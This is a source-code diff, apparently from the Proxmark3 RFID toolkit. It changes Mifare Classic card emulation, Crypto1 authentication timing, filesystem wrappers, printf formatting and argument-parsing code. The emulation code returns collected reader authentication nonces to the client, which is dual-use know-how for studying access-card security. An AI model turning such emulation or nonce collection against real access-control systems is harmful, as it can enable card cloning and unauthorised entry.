mf_crypto1_encrypt(pcs, response, rats_len, response_par); mf_crypto1_encrypt(pcs, response, rats_len, response_par);
EmSendCmdPar(response, rats_len, response_par); EmSendCmdPar(response, rats_len, response_par);
} else } else {
EmSendCmd(rats, rats_len); EmSendCmd(rats, rats_len);
}
FpgaDisableTracing();
if (DBGLEVEL >= DBG_EXTENDED) if (DBGLEVEL >= DBG_EXTENDED)
Dbprintf("[MFEMUL_WORK] RCV RATS => ACK"); Dbprintf("[MFEMUL_WORK] RCV RATS => ACK");
} else { } else {
EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA);
FpgaDisableTracing();
if (DBGLEVEL >= DBG_EXTENDED) if (DBGLEVEL >= DBG_EXTENDED)
Dbprintf("[MFEMUL_WORK] RCV RATS => NACK"); Dbprintf("[MFEMUL_WORK] RCV RATS => NACK");
} }
@ -980,10 +1022,14 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
EmSendCmdPar(response, receivedCmd_len, response_par); EmSendCmdPar(response, receivedCmd_len, response_par);
} else } else
EmSendCmd(receivedCmd_dec, receivedCmd_len); EmSendCmd(receivedCmd_dec, receivedCmd_len);
FpgaDisableTracing();
if (DBGLEVEL >= DBG_EXTENDED) if (DBGLEVEL >= DBG_EXTENDED)
Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => ACK"); Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => ACK");
} else { } else {
EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA);
FpgaDisableTracing();
if (DBGLEVEL >= DBG_EXTENDED) if (DBGLEVEL >= DBG_EXTENDED)
Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => NACK"); Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => NACK");
} }
@ -994,6 +1040,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
if (DBGLEVEL >= DBG_EXTENDED) if (DBGLEVEL >= DBG_EXTENDED)
Dbprintf("Received command not allowed, nacking"); Dbprintf("Received command not allowed, nacking");
EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA);
FpgaDisableTracing();
break; break;
} }
@ -1101,6 +1148,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
num_to_bytes(ans, 4, response); num_to_bytes(ans, 4, response);
mf_crypto1_encrypt(pcs, response, 4, response_par); mf_crypto1_encrypt(pcs, response, 4, response_par);
EmSendCmdPar(response, 4, response_par); EmSendCmdPar(response, 4, response_par);
FpgaDisableTracing();
if (DBGLEVEL >= DBG_EXTENDED) { if (DBGLEVEL >= DBG_EXTENDED) {
Dbprintf("[MFEMUL_AUTH1] AUTH COMPLETED for sector %d with key %c. time=%d", Dbprintf("[MFEMUL_AUTH1] AUTH COMPLETED for sector %d with key %c. time=%d",
@ -1138,6 +1186,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
} }
emlSetMem(receivedCmd_dec, cardWRBL, 1); emlSetMem(receivedCmd_dec, cardWRBL, 1);
EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); // always ACK? EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); // always ACK?
FpgaDisableTracing();
cardSTATE = MFEMUL_WORK; cardSTATE = MFEMUL_WORK;
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WRITEBL2] cardSTATE = MFEMUL_WORK"); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WRITEBL2] cardSTATE = MFEMUL_WORK");
break; break;
@ -1155,6 +1205,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
mf_crypto1_decryptEx(pcs, receivedCmd, receivedCmd_len, (uint8_t *)&ans); mf_crypto1_decryptEx(pcs, receivedCmd, receivedCmd_len, (uint8_t *)&ans);
if (emlGetValBl(&cardINTREG, &cardINTBLOCK, cardWRBL)) { if (emlGetValBl(&cardINTREG, &cardINTBLOCK, cardWRBL)) {
EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA));
FpgaDisableTracing();
cardSTATE_TO_IDLE(); cardSTATE_TO_IDLE();
break; break;
} }
@ -1174,6 +1226,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
mf_crypto1_decryptEx(pcs, receivedCmd, receivedCmd_len, (uint8_t *)&ans); mf_crypto1_decryptEx(pcs, receivedCmd, receivedCmd_len, (uint8_t *)&ans);
if (emlGetValBl(&cardINTREG, &cardINTBLOCK, cardWRBL)) { if (emlGetValBl(&cardINTREG, &cardINTBLOCK, cardWRBL)) {
EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA));
FpgaDisableTracing();
cardSTATE_TO_IDLE(); cardSTATE_TO_IDLE();
break; break;
} }
@ -1190,6 +1244,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
mf_crypto1_decryptEx(pcs, receivedCmd, receivedCmd_len, (uint8_t *)&ans); mf_crypto1_decryptEx(pcs, receivedCmd, receivedCmd_len, (uint8_t *)&ans);
if (emlGetValBl(&cardINTREG, &cardINTBLOCK, cardWRBL)) { if (emlGetValBl(&cardINTREG, &cardINTBLOCK, cardWRBL)) {
EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA));
FpgaDisableTracing();
cardSTATE_TO_IDLE(); cardSTATE_TO_IDLE();
break; break;
} }
@ -1245,7 +1301,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
if ((flags & FLAG_INTERACTIVE) == FLAG_INTERACTIVE) { // Interactive mode flag, means we need to send ACK if ((flags & FLAG_INTERACTIVE) == FLAG_INTERACTIVE) { // Interactive mode flag, means we need to send ACK
//Send the collected ar_nr in the response //Send the collected ar_nr in the response
reply_old(CMD_ACK, CMD_HF_MIFARE_SIMULATE, button_pushed, 0, &ar_nr_resp, sizeof(ar_nr_resp)); reply_mix(CMD_ACK, CMD_HF_MIFARE_SIMULATE, button_pushed, 0, &ar_nr_resp, sizeof(ar_nr_resp));
} }
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);

View file

@ -92,7 +92,7 @@ int mifare_sendcmd_short(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd,
AddCrc14A(dcmd, 2); AddCrc14A(dcmd, 2);
memcpy(ecmd, dcmd, sizeof(dcmd)); memcpy(ecmd, dcmd, sizeof(dcmd));
if (crypted) { if (pcs && crypted) {
par[0] = 0; par[0] = 0;
for (pos = 0; pos < 4; pos++) { for (pos = 0; pos < 4; pos++) {
ecmd[pos] = crypto1_byte(pcs, 0x00, 0) ^ dcmd[pos]; ecmd[pos] = crypto1_byte(pcs, 0x00, 0) ^ dcmd[pos];
@ -190,8 +190,18 @@ int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, uint8_t blockN
// Transmit reader nonce and reader answer // Transmit reader nonce and reader answer
ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL); ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL);
// save standard timeout
uint32_t save_timeout = iso14a_get_timeout();
// set timeout for authentication response
if (save_timeout > 103)
iso14a_set_timeout(103);
// Receive 4 byte tag answer // Receive 4 byte tag answer
len = ReaderReceive(receivedAnswer, receivedAnswerPar); len = ReaderReceive(receivedAnswer, receivedAnswerPar);
iso14a_set_timeout(save_timeout);
if (!len) { if (!len) {
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Authentication failed. Card timeout."); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Authentication failed. Card timeout.");
return 2; return 2;

View file

@ -281,7 +281,7 @@ static size_t _ntoa_long(out_fct_type out, char *buffer, size_t idx, size_t maxl
if (!(flags & FLAGS_PRECISION) || value) { if (!(flags & FLAGS_PRECISION) || value) {
do { do {
const char digit = (char)(value % base); const char digit = (char)(value % base);
buf[len++] = digit < 10 ? '0' + digit : (flags & FLAGS_UPPERCASE ? 'A' : 'a') + digit - 10; buf[len++] = digit < 10 ? '0' + digit : ((flags & FLAGS_UPPERCASE) ? 'A' : 'a') + digit - 10;
value /= base; value /= base;
} while (value && (len < PRINTF_NTOA_BUFFER_SIZE)); } while (value && (len < PRINTF_NTOA_BUFFER_SIZE));
} }
@ -305,7 +305,7 @@ static size_t _ntoa_long_long(out_fct_type out, char *buffer, size_t idx, size_t
if (!(flags & FLAGS_PRECISION) || value) { if (!(flags & FLAGS_PRECISION) || value) {
do { do {
const char digit = (char)(value % base); const char digit = (char)(value % base);
buf[len++] = digit < 10 ? '0' + digit : (flags & FLAGS_UPPERCASE ? 'A' : 'a') + digit - 10; buf[len++] = digit < 10 ? '0' + digit : ((flags & FLAGS_UPPERCASE) ? 'A' : 'a') + digit - 10;
value /= base; value /= base;
} while (value && (len < PRINTF_NTOA_BUFFER_SIZE)); } while (value && (len < PRINTF_NTOA_BUFFER_SIZE));
} }
@ -782,7 +782,7 @@ static int _vsnprintf(out_fct_type out, char *buffer, const size_t maxlen, const
case 's' : { case 's' : {
const char *p = va_arg(va, char *); const char *p = va_arg(va, char *);
unsigned int l = _strnlen_s(p, precision ? precision : (size_t) -1); unsigned int l = _strnlen_s(p, precision ? precision : (size_t) - 1);
// pre padding // pre padding
if (flags & FLAGS_PRECISION) { if (flags & FLAGS_PRECISION) {
l = (l < precision ? l : precision); l = (l < precision ? l : precision);
@ -849,7 +849,7 @@ int printf_(const char *format, ...) {
va_list va; va_list va;
va_start(va, format); va_start(va, format);
char buffer[1]; char buffer[1];
const int ret = _vsnprintf(_out_char, buffer, (size_t) -1, format, va); const int ret = _vsnprintf(_out_char, buffer, (size_t) - 1, format, va);
va_end(va); va_end(va);
return ret; return ret;
} }
@ -858,7 +858,7 @@ int printf_(const char *format, ...) {
int sprintf_(char *buffer, const char *format, ...) { int sprintf_(char *buffer, const char *format, ...) {
va_list va; va_list va;
va_start(va, format); va_start(va, format);
const int ret = _vsnprintf(_out_buffer, buffer, (size_t) -1, format, va); const int ret = _vsnprintf(_out_buffer, buffer, (size_t) - 1, format, va);
va_end(va); va_end(va);
return ret; return ret;
} }
@ -875,7 +875,7 @@ int snprintf_(char *buffer, size_t count, const char *format, ...) {
int vprintf_(const char *format, va_list va) { int vprintf_(const char *format, va_list va) {
char buffer[1]; char buffer[1];
return _vsnprintf(_out_char, buffer, (size_t) -1, format, va); return _vsnprintf(_out_char, buffer, (size_t) - 1, format, va);
} }
@ -888,7 +888,7 @@ int fctprintf(void (*out)(char character, void *arg), void *arg, const char *for
va_list va; va_list va;
va_start(va, format); va_start(va, format);
const out_fct_wrap_type out_fct_wrap = { out, arg }; const out_fct_wrap_type out_fct_wrap = { out, arg };
const int ret = _vsnprintf(_out_fct, (char *)(uintptr_t)&out_fct_wrap, (size_t) -1, format, va); const int ret = _vsnprintf(_out_fct, (char *)(uintptr_t)&out_fct_wrap, (size_t) - 1, format, va);
va_end(va); va_end(va);
return ret; return ret;
} }

View file

@ -401,21 +401,21 @@ int rdv40_spiffs_lazy_mount_rollback(int changed) {
// TODO : forbid writing to a filename which already exists as lnk ! // TODO : forbid writing to a filename which already exists as lnk !
// TODO : forbid writing to a filename.lnk which already exists without lnk ! // TODO : forbid writing to a filename.lnk which already exists without lnk !
int rdv40_spiffs_write(char *filename, uint8_t *src, uint32_t size, RDV40SpiFFSSafetyLevel level) { int rdv40_spiffs_write(char *filename, uint8_t *src, uint32_t size, RDV40SpiFFSSafetyLevel level) {
RDV40_SPIFFS_SAFE_FUNCTION( // RDV40_SPIFFS_SAFE_FUNCTION(
write_to_spiffs((char *)filename, (uint8_t *)src, size); // write_to_spiffs(filename, src, size);
) )
} }
int rdv40_spiffs_append(char *filename, uint8_t *src, uint32_t size, RDV40SpiFFSSafetyLevel level) { int rdv40_spiffs_append(char *filename, uint8_t *src, uint32_t size, RDV40SpiFFSSafetyLevel level) {
RDV40_SPIFFS_SAFE_FUNCTION( // RDV40_SPIFFS_SAFE_FUNCTION(
append_to_spiffs((char *)filename, (uint8_t *)src, size); // append_to_spiffs(filename, src, size);
) )
} }
// todo integrate reading symlinks transparently // todo integrate reading symlinks transparently
int rdv40_spiffs_read(char *filename, uint8_t *dst, uint32_t size, RDV40SpiFFSSafetyLevel level) { int rdv40_spiffs_read(char *filename, uint8_t *dst, uint32_t size, RDV40SpiFFSSafetyLevel level) {
RDV40_SPIFFS_SAFE_FUNCTION( // RDV40_SPIFFS_SAFE_FUNCTION(
read_from_spiffs((char *)filename, (uint8_t *)dst, size); // read_from_spiffs(filename, dst, size);
) )
} }

View file

@ -577,7 +577,7 @@ s32_t SPIFFS_close(spiffs *fs, spiffs_file fh);
* @param old path of file to rename * @param old path of file to rename
* @param newPath new path of file * @param newPath new path of file
*/ */
s32_t SPIFFS_rename(spiffs *fs, const char *old, const char *newPath); s32_t SPIFFS_rename(spiffs *fs, const char *old_path, const char *new_path);
#if SPIFFS_OBJ_META_LEN #if SPIFFS_OBJ_META_LEN
/** /**
@ -801,7 +801,7 @@ s32_t SPIFFS_ix_unmap(spiffs *fs, spiffs_file fh);
* @param fh the mapped file handle of the file to remap * @param fh the mapped file handle of the file to remap
* @param offset new absolute file offset where to start the index map * @param offset new absolute file offset where to start the index map
*/ */
s32_t SPIFFS_ix_remap(spiffs *fs, spiffs_file fh, u32_t offs); s32_t SPIFFS_ix_remap(spiffs *fs, spiffs_file fh, u32_t offset);
/** /**
* Utility function to get number of spiffs_page_ix entries a map buffer must * Utility function to get number of spiffs_page_ix entries a map buffer must

View file

@ -2244,7 +2244,7 @@ s32_t spiffs_fd_find_new(spiffs *fs, spiffs_fd **fd, const char *name) {
#if SPIFFS_TEMPORAL_FD_CACHE #if SPIFFS_TEMPORAL_FD_CACHE
u32_t i; u32_t i;
u16_t min_score = 0xffff; u16_t min_score = 0xffff;
u32_t cand_ix = (u32_t) -1; u32_t cand_ix = (u32_t) - 1;
u32_t name_hash = name ? spiffs_hash(fs, (const u8_t *)name) : 0; u32_t name_hash = name ? spiffs_hash(fs, (const u8_t *)name) : 0;
spiffs_fd *fds = (spiffs_fd *)fs->fd_space; spiffs_fd *fds = (spiffs_fd *)fs->fd_space;
@ -2275,7 +2275,7 @@ s32_t spiffs_fd_find_new(spiffs *fs, spiffs_fd **fd, const char *name) {
} }
} }
if (cand_ix != (u32_t) -1) { if (cand_ix != (u32_t) - 1) {
spiffs_fd *cur_fd = &fds[cand_ix]; spiffs_fd *cur_fd = &fds[cand_ix];
if (name) { if (name) {
if (cur_fd->name_hash == name_hash && cur_fd->score > 0) { if (cur_fd->name_hash == name_hash && cur_fd->score > 0) {

View file

@ -699,7 +699,7 @@ void spiffs_cb_object_event(
spiffs *fs, spiffs *fs,
spiffs_page_object_ix *objix, spiffs_page_object_ix *objix,
int ev, int ev,
spiffs_obj_id obj_id, spiffs_obj_id obj_id_raw,
spiffs_span_ix spix, spiffs_span_ix spix,
spiffs_page_ix new_pix, spiffs_page_ix new_pix,
u32_t new_size); u32_t new_size);
@ -707,14 +707,14 @@ void spiffs_cb_object_event(
s32_t spiffs_object_open_by_id( s32_t spiffs_object_open_by_id(
spiffs *fs, spiffs *fs,
spiffs_obj_id obj_id, spiffs_obj_id obj_id,
spiffs_fd *f, spiffs_fd *fd,
spiffs_flags flags, spiffs_flags flags,
spiffs_mode mode); spiffs_mode mode);
s32_t spiffs_object_open_by_page( s32_t spiffs_object_open_by_page(
spiffs *fs, spiffs *fs,
spiffs_page_ix pix, spiffs_page_ix pix,
spiffs_fd *f, spiffs_fd *fd,
spiffs_flags flags, spiffs_flags flags,
spiffs_mode mode); spiffs_mode mode);
@ -738,8 +738,8 @@ s32_t spiffs_object_read(
s32_t spiffs_object_truncate( s32_t spiffs_object_truncate(
spiffs_fd *fd, spiffs_fd *fd,
u32_t new_len, u32_t new_size,
u8_t remove_object); u8_t remove_full);
s32_t spiffs_object_find_object_index_header_by_name( s32_t spiffs_object_find_object_index_header_by_name(
spiffs *fs, spiffs *fs,
@ -758,7 +758,7 @@ s32_t spiffs_gc_erase_page_stats(
s32_t spiffs_gc_find_candidate( s32_t spiffs_gc_find_candidate(
spiffs *fs, spiffs *fs,
spiffs_block_ix **block_candidate, spiffs_block_ix **block_candidates,
int *candidate_count, int *candidate_count,
char fs_crammed); char fs_crammed);

View file

@ -50,8 +50,7 @@ void memxor(uint8_t *dest, uint8_t *src, size_t len) {
int strlen(const char *str) { int strlen(const char *str) {
const char *p; const char *p;
for (p = str; *p != '\0'; ++p) { for (p = str; *p != '\0'; ++p) {};
}
return p - str; return p - str;
} }

View file

@ -24,7 +24,7 @@ char *strcat(char *dest, const char *src);
void strreverse(char s[]); void strreverse(char s[]);
void itoa(int n, char s[]); void itoa(int n, char s[]);
char *strcpy(char *dst, const char *src); char *strcpy(char *dst, const char *src);
char *strncpy(char *destination, const char *source, size_t num); char *strncpy(char *dst, const char *src, size_t n);
int strcmp(const char *s1, const char *s2); int strcmp(const char *s1, const char *s2);
char *strtok(char *s, const char *delim); char *strtok(char *s, const char *delim);
char *strchr(const char *s, int c); char *strchr(const char *s, int c);

View file

@ -52,10 +52,11 @@ void ReadThinFilm(void) {
uint16_t FpgaSendQueueDelay; uint16_t FpgaSendQueueDelay;
uint16_t ReadReaderField(void) { uint16_t ReadReaderField(void) {
uint16_t hf_av = AvgAdc(ADC_CHAN_HF); #if defined RDV4
if (((MAX_ADC_HF_VOLTAGE * hf_av) >> 10) > MAX_ADC_HF_VOLTAGE - 300) return AvgAdc(ADC_CHAN_HF_RDV40);
hf_av = AvgAdc(ADC_CHAN_HF_RDV40); #else
return hf_av; return AvgAdc(ADC_CHAN_HF);
#endif
} }
static void CodeThinfilmAsTag(const uint8_t *cmd, uint16_t len) { static void CodeThinfilmAsTag(const uint8_t *cmd, uint16_t len) {
@ -119,13 +120,16 @@ void SimulateThinFilm(uint8_t *data, size_t len) {
CodeThinfilmAsTag(data, len); CodeThinfilmAsTag(data, len);
FpgaDownloadAndGo(FPGA_BITSTREAM_HF); FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
// Set up the synchronous serial port // Set up the synchronous serial port
FpgaSetupSsc(); FpgaSetupSsc();
// connect Demodulated Signal to ADC: // connect Demodulated Signal to ADC:
SetAdcMuxFor(GPIO_MUXSEL_HIPKD); SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_MOD); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_MOD);
SpinDelay(100); SpinDelay(100);
uint16_t hf_baseline = ReadReaderField(); uint16_t hf_baseline = ReadReaderField();
// Start the timer // Start the timer

View file

@ -49,7 +49,7 @@ static size_t us_rxfifo_high = 0;
static void usart_fill_rxfifo(void) { static void usart_fill_rxfifo(void) {
uint16_t rxfifo_free = 0; uint16_t rxfifo_free ;
if (pUS1->US_RNCR == 0) { // One buffer got filled, backup buffer being used if (pUS1->US_RNCR == 0) { // One buffer got filled, backup buffer being used
if (us_rxfifo_low > us_rxfifo_high) if (us_rxfifo_low > us_rxfifo_high)
rxfifo_free = us_rxfifo_low - us_rxfifo_high; rxfifo_free = us_rxfifo_low - us_rxfifo_high;

View file

@ -134,6 +134,7 @@ CORESRCS = uart_posix.c \
CMDSRCS = crapto1/crapto1.c \ CMDSRCS = crapto1/crapto1.c \
crapto1/crypto1.c \ crapto1/crypto1.c \
mifare/mifaredefault.c \
mifare/mfkey.c \ mifare/mfkey.c \
tea.c \ tea.c \
fido/additional_ca.c \ fido/additional_ca.c \
@ -158,6 +159,7 @@ CMDSRCS = crapto1/crapto1.c \
legic_prng.c \ legic_prng.c \
iso15693tools.c \ iso15693tools.c \
prng.c \ prng.c \
generator.c \
graph.c \ graph.c \
cmddata.c \ cmddata.c \
lfdemod.c \ lfdemod.c \
@ -203,6 +205,7 @@ CMDSRCS = crapto1/crapto1.c \
cmdhffido.c \ cmdhffido.c \
cmdhffelica.c \ cmdhffelica.c \
cmdhfthinfilm.c \ cmdhfthinfilm.c \
cmdhflto.c \
cmdhw.c \ cmdhw.c \
cmdlf.c \ cmdlf.c \
cmdlfawid.c \ cmdlfawid.c \

View file

@ -8,14 +8,11 @@
// Proxmark3 RDV40 AID list library // Proxmark3 RDV40 AID list library
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
#include "aidsearch.h" #include "aidsearch.h"
#include <ctype.h> #include <ctype.h>
#include <string.h> #include <string.h>
#include "fileutils.h" #include "fileutils.h"
#include "pm3_cmd.h" #include "pm3_cmd.h"
int openAIDFile(json_t **root, bool verbose) { int openAIDFile(json_t **root, bool verbose) {
json_error_t error; json_error_t error;
@ -39,7 +36,7 @@ int openAIDFile(json_t **root, bool verbose) {
goto out; goto out;
} }
if (verbose) PrintAndLogEx(SUCCESS, "Loaded file (%s) OK. %d records.", path, json_array_size(*root)); if (verbose) PrintAndLogEx(SUCCESS, "Loaded file (%s) OK. %zu records.", path, json_array_size(*root));
out: out:
free(path); free(path);
return retval; return retval;

View file

@ -18,7 +18,7 @@
#include <jansson.h> #include <jansson.h>
int PrintAIDDescription(json_t *root, char *aid, bool verbose); int PrintAIDDescription(json_t *xroot, char *aid, bool verbose);
int PrintAIDDescriptionBuf(json_t *root, uint8_t *aid, size_t aidlen, bool verbose); int PrintAIDDescriptionBuf(json_t *root, uint8_t *aid, size_t aidlen, bool verbose);
json_t *AIDSearchInit(bool verbose); json_t *AIDSearchInit(bool verbose);
json_t *AIDSearchGetElm(json_t *root, int elmindx); json_t *AIDSearchGetElm(json_t *root, int elmindx);

View file

@ -3484,8 +3484,12 @@ TRexBool trex_getsubexp(TRex *exp, int n, TRexMatch *subexp) {
static void arg_str_resetfn(struct arg_str *parent) { static void arg_str_resetfn(struct arg_str *parent) {
int i;
ARG_TRACE(("%s:resetfn(%p)\n", __FILE__, parent)); ARG_TRACE(("%s:resetfn(%p)\n", __FILE__, parent));
parent->count = 0; parent->count = 0;
for (i = 0; i < parent->count; i++) {
parent->sval[i] = "";
}
} }
@ -3671,8 +3675,7 @@ void arg_register_error(struct arg_end *end,
* Return index of first table entry with a matching short option * Return index of first table entry with a matching short option
* or -1 if no match was found. * or -1 if no match was found.
*/ */
static static int find_shortoption(struct arg_hdr **table, char shortopt) {
int find_shortoption(struct arg_hdr * *table, char shortopt) {
int tabindex; int tabindex;
for (tabindex = 0; !(table[tabindex]->flag & ARG_TERMINATOR); tabindex++) { for (tabindex = 0; !(table[tabindex]->flag & ARG_TERMINATOR); tabindex++) {
if (table[tabindex]->shortopts && if (table[tabindex]->shortopts &&
@ -3682,7 +3685,6 @@ int find_shortoption(struct arg_hdr * *table, char shortopt) {
return -1; return -1;
} }
struct longoptions { struct longoptions {
int getoptval; int getoptval;
int noptions; int noptions;
@ -3706,8 +3708,7 @@ void dump_longoptions(struct longoptions *longoptions) {
} }
#endif #endif
static static struct longoptions *alloc_longoptions(struct arg_hdr **table) {
struct longoptions *alloc_longoptions(struct arg_hdr * *table) {
struct longoptions *result; struct longoptions *result;
size_t nbytes; size_t nbytes;
int noptions = 1; int noptions = 1;
@ -3789,8 +3790,7 @@ struct longoptions *alloc_longoptions(struct arg_hdr * *table) {
return result; return result;
} }
static static char *alloc_shortoptions(struct arg_hdr **table) {
char *alloc_shortoptions(struct arg_hdr * *table) {
char *result; char *result;
size_t len = 2; size_t len = 2;
int tabindex; int tabindex;
@ -3830,8 +3830,7 @@ char *alloc_shortoptions(struct arg_hdr * *table) {
/* return index of the table terminator entry */ /* return index of the table terminator entry */
static static int arg_endindex(struct arg_hdr **table) {
int arg_endindex(struct arg_hdr * *table) {
int tabindex = 0; int tabindex = 0;
while (!(table[tabindex]->flag & ARG_TERMINATOR)) while (!(table[tabindex]->flag & ARG_TERMINATOR))
tabindex++; tabindex++;
@ -3839,11 +3838,10 @@ int arg_endindex(struct arg_hdr * *table) {
} }
static static void arg_parse_tagged(int argc,
void arg_parse_tagged(int argc, char **argv,
char * *argv, struct arg_hdr **table,
struct arg_hdr * *table, struct arg_end *endtable) {
struct arg_end *endtable) {
struct longoptions *longoptions; struct longoptions *longoptions;
char *shortoptions; char *shortoptions;
int copt; int copt;
@ -3953,11 +3951,10 @@ void arg_parse_tagged(int argc,
} }
static static void arg_parse_untagged(int argc,
void arg_parse_untagged(int argc, char **argv,
char * *argv, struct arg_hdr **table,
struct arg_hdr * *table, struct arg_end *endtable) {
struct arg_end *endtable) {
int tabindex = 0; int tabindex = 0;
int errorlast = 0; int errorlast = 0;
const char *optarglast = NULL; const char *optarglast = NULL;
@ -4010,7 +4007,6 @@ void arg_parse_untagged(int argc,
optarglast = argv[optind]; optarglast = argv[optind];
parentlast = parent; parentlast = parent;
} }
} }
/* if a tenative error still remains at this point then register it as a proper error */ /* if a tenative error still remains at this point then register it as a proper error */
@ -4030,8 +4026,7 @@ void arg_parse_untagged(int argc,
} }
static static void arg_parse_check(struct arg_hdr **table, struct arg_end *endtable) {
void arg_parse_check(struct arg_hdr * *table, struct arg_end *endtable) {
int tabindex = 0; int tabindex = 0;
/* printf("arg_parse_check()\n"); */ /* printf("arg_parse_check()\n"); */
do { do {
@ -4045,8 +4040,7 @@ void arg_parse_check(struct arg_hdr * *table, struct arg_end *endtable) {
} }
static static void arg_reset(void **argtable) {
void arg_reset(void * *argtable) {
struct arg_hdr * *table = (struct arg_hdr * *)argtable; struct arg_hdr * *table = (struct arg_hdr * *)argtable;
int tabindex = 0; int tabindex = 0;
/*printf("arg_reset(%p)\n",argtable);*/ /*printf("arg_reset(%p)\n",argtable);*/
@ -4138,8 +4132,7 @@ int arg_parse(int argc, char * *argv, void * *argtable) {
* dest[] == "goodbye cruel world!" * dest[] == "goodbye cruel world!"
* ndest == 10 * ndest == 10
*/ */
static static void arg_cat(char **pdest, const char *src, size_t *pndest) {
void arg_cat(char * *pdest, const char *src, size_t *pndest) {
char *dest = *pdest; char *dest = *pdest;
char *end = dest + *pndest; char *end = dest + *pndest;
@ -4160,13 +4153,12 @@ void arg_cat(char * *pdest, const char *src, size_t *pndest) {
} }
static static void arg_cat_option(char *dest,
void arg_cat_option(char *dest, size_t ndest,
size_t ndest, const char *shortopts,
const char *shortopts, const char *longopts,
const char *longopts, const char *datatype,
const char *datatype, int optvalue) {
int optvalue) {
if (shortopts) { if (shortopts) {
char option[3]; char option[3];
@ -4219,14 +4211,13 @@ void arg_cat_option(char *dest,
} }
} }
static static void arg_cat_optionv(char *dest,
void arg_cat_optionv(char *dest, size_t ndest,
size_t ndest, const char *shortopts,
const char *shortopts, const char *longopts,
const char *longopts, const char *datatype,
const char *datatype, int optvalue,
int optvalue, const char *separator) {
const char *separator) {
separator = separator ? separator : ""; separator = separator ? separator : "";
if (shortopts) { if (shortopts) {
@ -4666,7 +4657,6 @@ int arg_nullcheck(void * *argtable) {
return 0; return 0;
} }
/* /*
* arg_free() is deprecated in favour of arg_freetable() due to a flaw in its design. * arg_free() is deprecated in favour of arg_freetable() due to a flaw in its design.
* The flaw results in memory leak in the (very rare) case that an intermediate * The flaw results in memory leak in the (very rare) case that an intermediate

View file

@ -1,4 +1,6 @@
/******************************************************************************* /*******************************************************************************
* argtable3: Declares the main interfaces of the library
*
* This file is part of the argtable3 library. * This file is part of the argtable3 library.
* *
* Copyright (C) 1998-2001,2003-2011,2013 Stewart Heitmann * Copyright (C) 1998-2001,2003-2011,2013 Stewart Heitmann
@ -39,6 +41,13 @@ extern "C" {
#endif #endif
#define ARG_REX_ICASE 1 #define ARG_REX_ICASE 1
#define ARG_DSTR_SIZE 200
#define ARG_CMD_NAME_LEN 100
#define ARG_CMD_DESCRIPTION_LEN 256
#ifndef ARG_REPLACE_GETOPT
#define ARG_REPLACE_GETOPT 1 /* use the embedded getopt as the system getopt(3) */
#endif /* ARG_REPLACE_GETOPT */
/* bit masks for arg_hdr.flag */ /* bit masks for arg_hdr.flag */
enum { enum {
@ -143,6 +152,13 @@ struct arg_end {
const char **argval; /* Array of pointers to offending argv[] string */ const char **argval; /* Array of pointers to offending argv[] string */
}; };
/*
typedef struct arg_cmd_info {
char name[ARG_CMD_NAME_LEN];
char description[ARG_CMD_DESCRIPTION_LEN];
arg_cmdfn* proc;
} arg_cmd_info_t;
*/
/**** arg_xxx constructor functions *********************************/ /**** arg_xxx constructor functions *********************************/

View file

@ -13,16 +13,16 @@
#include "argtable3.h" #include "argtable3.h"
#include "util.h" #include "util.h"
#define arg_param_begin arg_lit0("hH", "help", "print this help and exit") #define arg_param_begin arg_lit0("hH", "help", "This help")
#define arg_param_end arg_end(20) #define arg_param_end arg_end(20)
